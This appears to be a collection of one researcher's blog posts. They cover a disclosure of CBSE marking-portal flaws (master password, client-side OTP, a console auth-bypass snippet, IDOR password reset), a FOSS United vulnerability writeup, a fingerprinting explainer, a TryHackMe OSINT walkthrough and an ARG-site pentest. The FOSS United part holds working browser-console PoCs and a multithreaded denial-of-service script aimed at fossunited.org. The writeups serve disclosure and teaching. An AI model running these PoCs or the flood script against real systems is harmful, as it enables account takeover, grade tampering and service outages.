These vulnerabilities were initially discovered on 25 February 2026 and were promptly reported to CERT-In.

What is CBSE and On-Screen Marking?

The Central Board of Secondary Education (CBSE) is one of the largest national education boards in India. It operates under the Government of India and runs major examinations like the Class 10 and Class 12 board exams for millions of students every year.

CBSE is affiliated with over 28,000 schools in India and several hundred more abroad, which makes it one of the most influential educational bodies in the country. Every year, millions of answer sheets are evaluated by thousands of teachers and examiners as part of the board exam process.

To streamline all of that, CBSE has started moving to a digital On-Screen Marking (OSM) system for the Class 12 board exams (circular). Instead of checking physical answer sheets, examiners log into an online portal where scanned copies of answer scripts are assigned to them for evaluation.

Because this platform is used by huge numbers of evaluators and handles sensitive academic data, its security really matters. It seems like this platform is developed by Coempt EduTeck Pvt Ltd and this same OnMark platform is used by multiple boards & other institutions.

While poking around, I found several critical vulnerabilities in the OSM portal that could lead to full account takeover of examiner accounts. Anyone exploiting these could also tamper with or disrupt the grading process, which directly threatens the integrity of the exam evaluations.

I reported all of this to CERT-In before publishing this blog.

Finding the Vulnerabilities

Some background on me first. I'm a hobbyist cybersecurity researcher and I just finished my Class 12 exams this year. I've done bug bounty and security work for fun before, so when CBSE rolled out OSM and I noticed the portal link was completely public, my curiosity got the better of me.

I opened the On-Screen Marking portal and started playing around with the HTTP requests and everything else I could see.

The login page asks for three things: a user ID, a school code, and a password, followed by an OTP step. Nothing about that screen looks unusual. The problems only showed up once I stopped looking at the page and started looking at the code behind it.

Reading the JavaScript Bundle

Like most modern single-page apps, the portal is an Angular application that ships its entire frontend logic in one bundled, minified JavaScript file. The browser downloads this file and runs it locally to render every screen of the app.

That bundle is served publicly at:

https://cbse.onmark.co.in/cbseevalweb/main.dc17c24606b3b008.js

Anyone can request it, logged in or not. So I pretty-printed it and started reading. What I found inside was horrible.

Vulnerability 1: A Hardcoded Master Password

Sitting in plain text inside the frontend bundle was a hardcoded master password. Not a hash, not a token reference, but the literal password string, baked directly into the client-side JavaScript that gets shipped to every visitor's browser.

The logic around it was worse than the leak itself. When this master password was entered into the login form, the app automatically filled the OTP field and bypassed the normal authentication flow entirely. There was no second factor to clear and no server-side check to satisfy. Entering the magic string was enough.

To log in as a specific examiner, all an attacker needs is:

1. A target's user ID and school code, both of which are publicly obtainable.
2. The master password, sitting in a JS file anyone can download.

With those, I was able to log in as an examiner (bypassing the OTP/2FA flow totally) and reach the evaluation dashboard, where I could view and edit marks.

Vulnerability 2: OTP Validation Done Entirely Client-Side

The OTP step turned out to be pure theatre. When you trigger authentication, the server sends the OTP back inside the auth response, and the JavaScript running in your browser compares what you typed against that value locally before letting you through.

Think about what that means. The secret you're supposed to prove you received is handed straight to your browser, and the browser grades its own test. Anyone watching the network tab can just read the OTP out of the response. And because the comparison happens in client-side code, you can skip the form altogether and simply tell the app the check passed.

A security control that runs on the attacker's machine isn't a control at all.

Vulnerability 3: No Route Guards, So the Whole App Is Walk-In

Even setting the login flow aside, the app's routing offered no protection. The entire Angular route configuration had zero canActivate guards. Routes like /dashboard, /profile, /evalscriptsview, /heallscripts, /evaluatordetails, and /verificationdashboard were all directly navigable.

The only thing standing between an anonymous visitor and an internal page was a default redirect to /login, and that's trivial to defeat. By seeding a few values into browser storage and navigating straight to a route, you land on any page you like:

localStorage.setItem('jwtToken', 'dev-token-12345');
sessionStorage.setItem('role_id', '23');
sessionStorage.setItem('ValType', 'Regular');
sessionStorage.setItem('eval', JSON.stringify({
  user_id: 'DEV001',
  role_id: '23',
  mobile_no: '9999999999',
  email: 'dev@test.com',
  jwtToken: 'dev-token-12345'
}));
// Then navigate
window.location.href = '/cbseevalweb/#/dashboard';

Paste that into the browser console and you're dropped onto the dashboard, having never authenticated against anything. The token is fake, the user is invented, and the app doesn't care.

Vulnerability 4: Changing Any Password Without Knowing the Old One

This is where the individual bugs start combining into a full account takeover.

The "change password" feature collects an old password from the user, like you'd expect. But when I inspected the actual request it sends, the ChangePassword API payload only contained:

{ "ValuatorID": "...", "pin_NewPassword": "..." }

The oldpassword variable exists in the component, it's just never included in the request that goes to the server. The current password is never verified. Whatever ValuatorID you put in the body gets its password reset to whatever you choose.

On its own that's bad. Combined with the next issue, it's catastrophic.

Vulnerability 5: Systemic IDOR Across the Entire API

Almost every API call in the app identifies the acting user by reading ValuatorID / user_id straight out of sessionStorage["eval"], the same browser-storage object I showed editing above. The server trusts whatever ID the client sends instead of deriving it from the authenticated session.

That makes this an Insecure Direct Object Reference (IDOR) vulnerability at the architectural level. It's not one broken endpoint. Practically every POST request in the service is affected. Change the ID in storage and the app acts as that user for any operation it offers.

Stitching it all together:

• IDOR lets you act as any examiner by editing one value in your browser.
• The ChangePassword API resets a password without checking the old one.
• So you can set ValuatorID to any victim and reset their password to one you control. That's a complete account takeover, with no credentials and no insider access.

From there, an attacker can log into the victim's account legitimately, view assigned answer scripts, and alter marks. At the scale of a national board exam, the integrity implications speak for themselves.

Putting It Together

To summarize what these flaws allowed:

• Log in as any examiner using a master password leaked in the frontend.
• Bypass OTP entirely, because validation happens in the browser.
• Reach any internal page without authenticating at all.
• Reset any examiner's password without knowing their current one.
• Act as any user across the API thanks to systemic IDOR, and in doing so edit marks, change examiner details, and tamper with the evaluation process.

None of this required sophisticated exploitation. The hardest part was reading a JavaScript file and editing a couple of values in DevTools.

Responsible Disclosure

I reported all of this to CERT-In (the Indian Computer Emergency Response Team) before writing anything publicly.

My first email laid out the master-password leak and the client-side OTP validation. They replied asking for more detail and a screen recording, so I sent a full walkthrough: the master-password auth bypass on video, the browser-console login bypass, and then the extra findings I'd uncovered since, namely the missing route guards, the password-change flaw, and the systemic IDOR.

Their response was a boilerplate acknowledgement:

Dear Sir,

Thank you for reporting this incident to CERT-In. We have registered your complaint/incident under Ref: CERTIn-XXXXX. We are in process of taking appropriate action with the concerned authority.

After that, I followed up several times and never heard back. It's honestly funny that most of the vulnerabilities I reported went unpatched for a long time, when I'd have fixed them in an hour or two if they were mine to fix. The sheer incompetency of our authorities baffles me.

I held off on publishing for a while, mostly to give them a fair window to fix things. But these issues sat in a system handling the exam evaluations of millions of students, and that's exactly the kind of thing that deserves daylight once it's been responsibly reported.

Takeaways

If there's one lesson here for anyone building software like this, it's that the client cannot be trusted, ever. Every one of these vulnerabilities traces back to the same root mistake: putting secrets and security decisions in code that runs on the user's machine.

• Secrets (passwords, OTPs, anything sensitive) belong on the server, never in a JavaScript bundle.
• Authentication and authorization must be enforced server-side, on every request.
• A user's identity should come from their authenticated session, not from a value they can edit in DevTools.
• Sensitive operations like password changes must verify the requester's authority, and their current password.

These aren't advanced defenses. They're the basics. For a platform entrusted with the integrity of national board examinations, the basics are the least we should expect.

Aftermath

This section was written on May 27, about five days after this blog first went up. In that time, CBSE has publicly denied that any of these vulnerabilities ever existed. I want to lay out, in good faith, what's actually happened from my side, because the public record matters here.

To recap the timeline: every issue documented above was reported to CERT-In back in February, and they verified and acknowledged the findings. My complaint sits on file under Ref: CERTIn-16590126. I followed up multiple times after that and never got a substantive response. Three months passed, the Class 12 results were released, and the portal and its marking workflows were still in the same vulnerable state. That silence is what eventually pushed me to publish.

Once the story picked up in the press, CBSE issued a statement claiming the findings were false. There were two immediate problems with that statement. First, their initial release pointed to a domain that didn't actually exist; someone in my circle quietly registered it and pointed it at this very blog before they retracted the tweet. Second, even taken at face value, their position doesn't hold up: if what I accessed was a test environment, how was I able to pull what was unmistakably production data out of it?

The receipts for that are public:

• A proof screenshot of the access itself.
• CBSE's own official mails referencing the same URL they later tried to distance themselves from.
• A screen recording of the hardcoded master password being used to reach production data.
• An archive of the site and its source code as of 03/03/2026, preserved before anything was changed.
• Evidence that the vulnerabilities were still present in the March build of the site, well after my reports.
• The same master password sitting in the JS bundles of other onmark domains, unpatched at the time of posting.
• Findings from other researchers showing that every CBSE-related subdomain under onmark resolves to the same load balancer. Test environments don't typically need a load balancer, and they certainly shouldn't share infrastructure with the "prod" they're supposedly separated from.

On top of all that, three days ago, shortly before the site was taken down, I discovered an SQL injection vulnerability in the OSM portal and reported it to CERT-In. The response so far has been a one-line "thank you" mail.

I want to be clear about my motive: this entire body of work was done in good faith, to flag a serious problem in a system that grades the futures of millions of students. The right response from an institution of CBSE's scale is to acknowledge, investigate, and fix, not to deny and deflect. I hope this pushes things in that direction.

Media Coverage

A lot of famous personalities and organizations like Deedy Das, Satish Acharya, Internet Freedom Foundation tweeted about it & this blog has been featured in news reports by multiple media outlets:

• India Today
• NDTV
• Times of India
• The Hindu BusinessLine
• ThePrint
• News18
• Moneycontrol
• IFF Blog
• Medianama
• Free Press Journal
• Careers360

Thanks for reading.

The findings were shared privately with the FOSS United team and the vulnerabilities were patched before publishing this writeup.

The Findings

IDOR Vulnerability in Hackathons Project Page

The API endpoints responsible for adding PRs/Issues from a Hackathon Project do not enforce proper authorization checks. They accept a project ID as an argument and perform the action immediately without verifying if the currently logged-in user (frappe.session.user) is a member of the team that owns the project.

This allows any authenticated user to modify the PR/Issue list of any project if they know the Project ID (which is discoverable).

Affected Endpoint: fossunited.api.hackathon.add_pr_issue_to_project

The function in question:

@frappe.whitelist()
def add_pr_issue_to_project(project: str, details: dict) -> None:
    if not frappe.db.exists(HACKATHON_PROJECT, project):
        frappe.throw("Project does not exist")

    issue_pr = frappe.get_doc(
        {
            "doctype": "Hackathon Project Issue PR",
            "parent": project,
            "parenttype": HACKATHON_PROJECT,
            "parentfield": "issue_pr_table",
            "title": details["title"],
            "link": details["link"],
            "type": details["type"],
        }
    )
    issue_pr.insert()

The core issue is that there is no authorization check.

This endpoint never checks: who is calling it (i.e. frappe.session.user)

Whether the caller is:

• A member of the team
• The project owner
• Even part of the hackathon

The only validation is:

if not frappe.db.exists(HACKATHON_PROJECT, project):

That means:

Any authenticated user can modify issue/PR list of any project if they know the project ID (which is easily discoverable).

PoC code:

var payload = {
  project: "1pcdaioeqm", // Target Project ID
  details: {
    title: "Security Test: IDOR PoC",
    link: "https://github.com/fossunited/fossunited/pull/1",
    type: "Pull Request",
  },
};
fetch("/api/method/fossunited.api.hackathon.add_pr_issue_to_project", {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
    "X-Frappe-CSRF-Token": window.csrf_token,
  },
  body: JSON.stringify(payload),
})
  .then((r) => r.json())
  .then((r) => {
    if (r.exc) {
      console.error("Exploit Failed (or Error):", r.exc);
    } else {
      console.log("IDOR Confirmed");
      console.log("Response:", r);
    }
  })
  .catch((e) => console.error("Fetch Error:", e));

Unauthorized Hackathon Registration via User Impersonation

During my assessment, I found a broken access control vulnerability in the hackathon registration flow. The API endpoint responsible for creating hackathon participants allowed any authenticated user to register any other user for a hackathon without their knowledge or consent.

The endpoint trusted attacker-controlled identity fields and failed to verify that the authenticated session user (frappe.session.user) matched the user being registered.

Affected Endpoint: fossunited.api.hackathon.create_participant

Vulnerable Function (Before Fix):

@frappe.whitelist(allow_guest=True)
def create_participant(hackathon, participant):
    participant_doc = frappe.get_doc(
        {
            "doctype": HACKATHON_PARTICIPANT,
            "hackathon": hackathon.get("data").get("name"),
            "user": participant.get("user"),
            "user_profile": participant.get("user_profile"),
            "full_name": participant.get("full_name"),
            "email": participant.get("email"),
            "is_student": participant.get("is_student"),
            "organization": participant.get("organization"),
            "git_profile": participant.get("git_profile"),
        }
    )
    participant_doc.insert(ignore_permissions=True)

The core issue was trusting client-supplied identity data.

The endpoint never verified:

• That the caller was authenticated
• That participant.user matched frappe.session.user
• That the caller was registering themselves

Because of this, the attacker could fully control:

• user
• email
• full_name
• user_profile

Additionally, the use of ignore_permissions=True bypassed all framework-level permission checks.

This allowed any authenticated user to register arbitrary email addresses for a hackathon & silent user impersonation.

PoC Code:

The following request was executed from the browser console while logged in as an attacker:

fetch('/api/method/fossunited.api.hackathon.create_participant', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-Frappe-CSRF-Token': window.csrf_token
  },
  body: JSON.stringify({
    hackathon: { data: { name: '1hdcnkbtmk' }},  
    participant: {
      user: 'victim@example.com',
      email: 'victim@example.com',
      full_name: 'Fake Registration',
      organization: 'Attacker Org',
      git_profile: 'https://github.com/attacker'
    }
  }),
  credentials: 'include'
})
  .then(r => r.json())
  .then(console.log);

Observed Result:

{
  "owner": "attacker@example.com",
  "user": "victim@example.com",
  "email": "victim@example.com",
  "full_name": "Fake Registration",
  "organization": "Attacker Org",
  "hackathon": "1hdcnkbtmk"
}

The owner field reflects the attacker’s account, while the user and email fields belong to the victim.

This vulnerability was later fixed by binding registration strictly to frappe.session.user & removing guest access.

Resource Exhaustion via ast.literal_eval (DoS)

Another issue I came across was a denial-of-service vulnerability in the calendar export functionality. The generate_ics endpoint accepted user-controlled input and parsed it using Python’s ast.literal_eval, which is unsafe when exposed to untrusted data.

Although ast.literal_eval is commonly assumed to be safer than eval, it is still vulnerable to uncontrolled resource consumption. When given deeply nested or malformed input, it can exhaust CPU and memory, eventually crashing the worker or severely degrading performance.

Affected Endpoint: fossunited.api.chapter.generate_ics

The vulnerable function looked like this:

@frappe.whitelist(allow_guest=True)
def generate_ics(event_ids):
    """
    Args:
        event_ids (list): list of event ids (doc.name)
    """
    c = Calendar()
    ids = ast.literal_eval(event_ids)

The endpoint was publicly accessible (allow_guest=True) and performed no validation on input size or structure. This meant that any unauthenticated user could supply arbitrarily complex input and force the server to parse it.

The core problem is that ast.literal_eval parses Python syntax by recursively building an Abstract Syntax Tree (AST). A payload containing thousands of nested brackets forces the parser to allocate a large number of AST nodes and recurse deeply, consuming excessive CPU and memory. Unlike json.loads, it has no built-in safeguards for limiting recursion depth or input complexity.

This makes it vulnerable to so-called syntax bombs such as:

[[[[[[[[[[[[[[[[[[[[ ... ]]]]]]]]]]]]]]]]]]]

Even though this input contains no executable code, parsing it alone is enough to cause service disruption.

To demonstrate the impact in a controlled manner, a proof-of-concept script was written that generates deeply nested payloads and sends them concurrently to the vulnerable endpoint while monitoring latency and error rates.

An excerpt from the payload script is shown below:

#!/usr/bin/env python3
"""
ast.literal_eval Resource Exhaustion
Demonstrates CPU exhaustion via deeply nested structures passed to
ast.literal_eval() in the generate_ics endpoint.
"""

import subprocess
import time
import threading
import concurrent.futures

def make_payload(depth):
    return "[" * depth + "1" + "]" * depth

def attack(target, payload):
    subprocess.run(
        [
            "curl",
            "-s",
            "-X", "POST",
            f"{target}/api/method/fossunited.api.chapter.generate_ics",
            "-H", "Content-Type: application/json",
            "-d", f'{{"event_ids": "{payload}"}}'
        ],
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL
    )

def worker(target, payload):
    while True:
        attack(target, payload)

payload = make_payload(12000)
target = "https://fossunited.org"

with concurrent.futures.ThreadPoolExecutor(max_workers=50) as pool:
    for _ in range(50):
        pool.submit(worker, target, payload)

Running the "more aggressive" version of this script resulted in clear service degradation. Latency increased from tens of milliseconds to several seconds & requests began timing out.

This vulnerability maps to CWE-400 (Uncontrolled Resource Consumption). While no data was leaked or modified, the impact was significant enough to cause denial of service.

The endpoint expects a list of event IDs, which is already compatible with JSON. Replacing ast.literal_eval with json.loads, along with enforcing basic size and type validation, removes the recursive parsing behavior and prevents resource exhaustion entirely.

This issue is a good example of how seemingly harmless convenience functions can become serious liabilities when exposed to untrusted input, especially on public endpoints.

Unauthorized Project Creation in Hackathon Teams

Another access control issue I found was related to project creation within hackathon teams. The API endpoint responsible for creating hackathon projects did not verify whether the user creating the project was actually a member of the team.

This meant that any authenticated user could create a project for any team, as long as they knew the team ID.

Affected Endpoint: fossunited.api.hackathon.create_project

Before this was fixed, the endpoint trusted the provided team parameter and proceeded with project creation without checking ownership or membership.

The vulnerable function looked like this:

@frappe.whitelist()
def create_project(hackathon: str, team: str, project: dict) -> dict:
    project_doc = frappe.get_doc(
        {
            "doctype": HACKATHON_PROJECT,
            "hackathon": hackathon,
            "team": team,
            "title": project.get("title"),
            "short_description": project.get("short_description"),
            "description": project.get("description"),
            "repo_link": project.get("repo_link"),
            "demo_link": project.get("demo_link"),
        }
    )
    project_doc.insert(ignore_permissions=True)
    return project_doc

The core issue was the absence of any authorization checks.
The endpoint never verified that the currently logged-in user (frappe.session.user) was:

• A member of the team
• Associated with the team’s participant list
• Authorized to act on behalf of that team

As a result, an attacker could create projects for arbitrary teams & tamper with hackathon submissions.

PoC Code:

fetch("/api/method/fossunited.api.hackathon.create_project", {
    method: "POST",
    headers: {
        "Content-Type": "application/json",
        "X-Frappe-CSRF-Token": window.csrf_token
    },
    body: JSON.stringify({
        hackathon: "1hdcnkbtmk",
        team: "9i83d7bf4i",
        project: {
            title: "Unauthorized Project Creation PoC",
            short_description: "Test",
            description: "Unauthorized project creation",
            repo_link: "https://github.com",
            demo_link: "https://example.com",
            is_contribution_project: 0,
            is_partner_project: 0
        }
    })
}).then(r => r.json()).then(console.log);

This issue was fixed by enforcing a strict team membership check before allowing project creation.

The patched version now explicitly verifies that the session user belongs to the specified team, either directly via email or through the participant record, and rejects unauthorized attempts.

The fixed logic looks like this:

@frappe.whitelist()
@frappe.rate_limiter.rate_limit(limit=3, seconds=60 * 60 * 12)
def create_project(hackathon: str, team: str, project: dict) -> dict:
    team_doc = frappe.get_doc(HACKATHON_TEAM, team)

    is_member = False
    user_email = frappe.session.user

    for member in team_doc.members:
        if member.email == user_email:
            is_member = True
            break

        if member.member:
            participant_email = frappe.db.get_value(
                HACKATHON_PARTICIPANT,
                member.member,
                "user",
            )
            if participant_email == user_email:
                is_member = True
                break

    if not is_member:
        frappe.throw(
            "You are not authorized to create a project for this team",
            frappe.PermissionError,
        )

    project_doc = frappe.get_doc(
        {
            "doctype": HACKATHON_PROJECT,
            "hackathon": hackathon,
            "team": team,
            "title": project.get("title"),
            # ...
        }
    )
    project_doc.insert(ignore_permissions=True)
    return project_doc

A rate limit was also added to reduce the risk of abuse.

With this fix in place, only legitimate team members can create projects for their teams, and unauthorized project creation attempts are correctly blocked.

IDOR in Ticket Transfer Status Change

The last issue I identified was an insecure direct object reference (IDOR) in the ticket transfer workflow. The API endpoint responsible for updating the status of ticket transfer requests allowed unauthenticated users to modify the state of any transfer.

This issue was identified through static code analysis. At the time of testing, there were no active events with transferable tickets, so dynamic exploitation was not possible. However, the authorization flaw is clear from the code and would be exploitable once transfers are active.

Affected Endpoint: fossunited.api.tickets.change_transfer_status

The vulnerable function looked like this:

@frappe.whitelist(allow_guest=True)
def change_transfer_status(transfer_id: str, status: str):
    doc = frappe.get_doc(TICKET_TRANSFER, transfer_id)
    doc.status = status
    doc.save()
    return True

The endpoint was explicitly marked as guest-accessible and performed no ownership or authorization checks before updating the transfer record.

The core issue here is that the endpoint blindly trusts a user-supplied transfer_id.

It never verifies:

• Who is calling the endpoint (frappe.session.user)
• Whether the caller is the original ticket owner
• Whether the caller is the intended recipient of the transfer
• Whether the caller is authenticated at all

As long as a valid transfer_id is provided, the backend updates the transfer status immediately.

This means that an attacker could theoretically approve, reject, or cancel ticket transfers belonging to other users simply by guessing or obtaining a valid transfer ID.

A minimal request would look like this:

curl -X POST "https://fossunited.org/api/method/fossunited.api.tickets.change_transfer_status" \
  -H "Content-Type: application/json" \
  -d '{
    "transfer_id": "TICKET-TRANSFER-00001",
    "status": "Completed"
  }'

Because there is no ownership validation, the request would succeed regardless of who sent it.

The potential impact includes unauthorized approval/cancellation of ticket transfers and disruption of ticket ownership workflows. Even though this issue was not observed live due to inactive events, the severity of the logic flaw places it in the critical category.

The fix for this issue is straightforward. The endpoint should require authentication and ensure that the logged-in user is directly involved in the transfer before allowing any status change.

A secure implementation would verify that frappe.session.user matches either the original ticket holder or the designated receiver, and restrict the allowed status transitions:

@frappe.whitelist()
def change_transfer_status(transfer_id: str, status: str):
    doc = frappe.get_doc(TICKET_TRANSFER, transfer_id)
    ticket = frappe.get_doc(EVENT_TICKET, doc.ticket)

    current_user = frappe.session.user
    if current_user not in [ticket.email, doc.receiver_email]:
        frappe.throw("Unauthorized to modify this transfer", frappe.PermissionError)

    if status not in ["Completed", "Cancelled"]:
        frappe.throw("Invalid status")

    doc.status = status
    doc.save()
    return True

This issue reinforces a recurring theme across multiple findings in this assessment: object existence checks are not authorization checks. Any endpoint that modifies state must validate who is performing the action, not just what object is being acted on.

Closing note

I want to thank the FOSS United team for acknowledging these security issues and patching them quickly. The prompt response and open communication made responsible disclosure smooth and encouraging.

Thanks to my friend Kartik for helping me with testing & validating findings.

Security issues are inevitable as platforms grow. What matters is how they’re handled once found - and in this case, it was handled well.

This post explains how browser fingerprinting works and how I built Quark to understand it from the inside.

What is Browser Fingerprinting?

Browser fingerprinting identifies a browser by collecting information it already exposes. Nothing is stored on the device. Instead, multiple characteristics are combined into a stable identifier.

Unlike cookies, this identifier can persist across sessions and private windows.

What data is used?

Fingerprinting relies on many small signals that seem harmless on their own.

Basic signals include the user agent, operating system, language, timezone, screen resolution, and color depth.

More advanced signals come from JavaScript APIs. Websites can check which fonts are available, how the browser handles certain CSS rules, or how numbers are processed internally.

Canvas and WebGL fingerprinting are especially effective. The browser is asked to draw something off-screen. The result depends on the OS, GPU, drivers, font rendering, and browser implementation. The differences are subtle but consistent.

Audio fingerprinting works in a similar way. Small differences in how audio is processed can be measured and added to the fingerprint.

Individually, these values are weak. Together, they are often enough to uniquely identify a browser.

Basic fingerprint signals

The simplest signals come directly from browser APIs.

const fingerprintBase = {
  userAgent: navigator.userAgent,
  language: navigator.language,
  platform: navigator.platform,
  timezone: Intl.DateTimeFormat().resolvedOptions().timeZone
};

On their own, these values are common. Combined with other signals, they become more useful.

Screen and display data

Screen characteristics add another layer of entropy.

const screenData = {
  width: screen.width,
  height: screen.height,
  colorDepth: screen.colorDepth,
  pixelRatio: window.devicePixelRatio
};

Different devices and display setups produce consistent but distinct results.

Canvas fingerprinting

Canvas fingerprinting relies on rendering differences between systems.

const canvas = document.createElement("canvas");
const ctx = canvas.getContext("2d");

ctx.textBaseline = "top";
ctx.font = "16px Arial";
ctx.fillStyle = "#000";
ctx.fillText("quark fingerprint", 10, 10);

const canvasFingerprint = canvas.toDataURL();

The output looks the same visually, but the encoded image data differs across operating systems, GPUs, and font renderers.

Building Quark

I built Quark to explore this process end to end with minimal abstraction.

Repository: https://github.com/ni5arga/quark

The goal was clarity. Every signal collected should be readable and understandable.

Combining signals

Quark normalizes all collected values into a single string.

const rawFingerprint = [
  navigator.userAgent,
  navigator.language,
  screen.width,
  screen.height,
  canvasFingerprint
].join("|");

This string represents the browser’s fingerprint input.

Hashing the fingerprint

Instead of storing raw data, Quark hashes the combined string.

import SHA256 from "crypto-js/sha256";

const fingerprintId = SHA256(rawFingerprint).toString();

This produces a stable identifier that can be compared without exposing the original values.

Backend usage

The backend logic is intentionally simple.

if (incomingFingerprint === storedFingerprint) {
  // returning visitor
} else {
  // new browser
}

Fingerprinting is powerful. It can improve security and reduce abuse but it can also enable silent tracking.

It was okay. I learned a lot and the people were genuinely nice. But working in a closed, corporate environment felt… weird. Everything is planned, scoped, reviewed, and filtered so much that sometimes the fun just leaks out.

I also learned that I can work really well under pressure, although I do not like working under immense pressure personally.

I realized I really miss libre software. I miss building things in public, pushing code without asking ten people first, and caring more about why something is built than whether it fits a roadmap.

I missed writing code that anyone could read, fork, or improve without asking for permission. I missed the quiet radicalism of libre software - the idea that knowledge should not be locked behind NDAs and closed repos.

This didn’t make me hate jobs or companies. It just made me realize I do not prefer working working away from open source. I like messy projects, open repos, and software that feels a little alive.

Maybe I’ll grow out of this take.
Right now, this is where my head’s at.

OSINT (Open Source Intelligence) involves collecting and analyzing publicly available information from sources like publications, media, websites, social media, and government reports to support decision-making in fields like national security and business intelligence.

OhSINT TryHackMe Room: https://tryhackme.com/r/room/ohsint

This room is all about getting information about an user from just an image. This is a pretty simple, easy & straightforward room.

We are given this image:

windows XP memories, sigh.

Question 1: What is the user's avatar of?

To solve this, we need to extract information from the image we were provided.

Images have metadata (text information related to the image) embedded in them. We'll use this metadata to find the info we need. To extract the EXIF/metadata from the image we will use exiftool. You can install EXIF tool by simply running:

sudo apt install exiftool

The installation command depends on your system, if you're on Arch Linux you'll have to run this:

sudo pacman -S perl-image-exiftool

Alternative Tools or Services you can use:

• https://exifdata.com
• https://www.metadata2go.com
• https://github.com/d2phap/ExifGlass

After you have successfully installed exiftool, run this command to get the required information about the image:

exiftool image.jpg

note: i assumed that you have saved the file with the name "image.jpg"

This is the output

➜ Downloads exiftool image.jpg  
ExifTool Version Number : 12.76  
File Name : image.jpg  
Directory : .  
File Size : 234 kB  
File Modification Date/Time : 2024:07:04 09:53:31+05:30  
File Access Date/Time : 2024:07:04 09:53:32+05:30  
File Inode Change Date/Time : 2024:07:04 09:53:31+05:30  
File Permissions : -rw-r--r--  
File Type : JPEG  
File Type Extension : jpg  
MIME Type : image/jpeg  
XMP Toolkit : Image::ExifTool 11.27  
GPS Latitude : 54 deg 17' 41.27" N  
GPS Longitude : 2 deg 15' 1.33" W  
Copyright : OWoodflint  
Image Width : 1920  
Image Height : 1080  
Encoding Process : Baseline DCT, Huffman coding  
Bits Per Sample : 8  
Color Components : 3  
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)  
Image Size : 1920x1080  
Megapixels : 2.1  
GPS Latitude Ref : North  
GPS Longitude Ref : West  
GPS Position : 54 deg 17' 41.27" N, 2 deg 15' 1.33" W

We can see the image belongs to OWoodflint by observing the copyright field.

We'll now use Google to find some info about this person:

We have found the links to their X/twitter, GitHub & Blog.

It seems like they are using an avatar of a cat on Twitter.

We have the answer to our first question, cat.

Answer 1: Cat

Question 2: What city is this person in?

We can see a tweet by the person where they are sharing their WiFi BSSID.

We'll use a site called https://wigle.net to gather info about the WiFi network.

You'll need to sign up for an account on the website.

Then navigate to View > Search > Advanced Search (https://wigle.net/search)

Now copy the BSSID you have from the tweet and paste it in the BSSID/MAC field of the search tool and hit the query button.

We have a matching result. Now click on "map".

We can see the network is located in London:

We have our second answer, London.

Answer 2: London

Question 3: What is the SSID of the WAP he connected to?

We found the SSID of the WAP by our wigle search.

Answer 3: UnileverWiFi

Question 4: What is his personal email address?
Readme of a repository on the user's GitHub profile has his email address:

Answer 4: OWoodflint@gmail.com

Question 5: What site did you find his email address on?

We found the user's email on GitHub.

Answer 5: GitHub

Question 6: Where has he gone on holiday?

We can check the user's wordpress blog and find that the user has went to New York on holiday.

Question 7: What is the person's password?

If we observe the site's source code closely we will be able to find this:

Answer 7: pennYDr0pper

That's it, the room is complete now.

Here are the mistakes he did which made his ARG website hackable and vulnerable :

1. Not using an actual backend & some other stupid mistakes : Yep, he didn't use an actual backend for the site. When I was asked to pentest the site he created, I opened the network tab of my browser's dev tools and I found out that the site was calling the answers from a JS file. The answers were in total plaintext in the JS file. I could see them clearly. He didn't even hash the answers. I informed him about this "severe" vulnerability through Discord 5 minutes before the competition started.

2. Poor security : The way he called data from his firebase DB about the players and stuff revealed the list of players, their e-mails & e-mails of their teammates. Within a minute I had the email address of all the players. I also figured out a way to use an exploit to write to his DB and manipulate the leaderboard of the competition.

What did the developer do?
The developer of the site tried to do damage-control.
Fix 1 (gone wrong) :

He used some ciphers to cipher the answers which were visible in the JS file mid-competition. This is when he made his next mistake.
Some guy on Discord leaked the ciphers which were used to cipher the answers making the answers decipherable.

Fix 2

He used bcrypt to hash the answers which was a temporary easy fix.

const bcrypt = require('bcrypt');

const storedSalt = "$2a$10$iwkIBgVZDdADUSLFewMBJu"; // random value, can be exposed
const storedHash = '$2a$10$iwkIBgVZDdADUSLFewMBJu86oEYjRnnxUR9Nli2pfeQyRaIzr5kMS'; // hashing the password with storedSalt,
// this can be exposed in your js and it's fine

const userPassword = getPassword();
const generatedHash = bcrypt.hashSync(userPassword, storedSalt);

if (generatedHash === storedHash) {
  console.log('Password is correct.'); // will return this since the hashes match, since same salt
} else {
  console.log('Password is incorrect.');
}

What else could've been done with the website/platform?

If someone wanted to totally screw up the platform/site they could just write a script to constantly keep requesting the firestore db until he runs out of credits cause he used that instead of mongo or something local.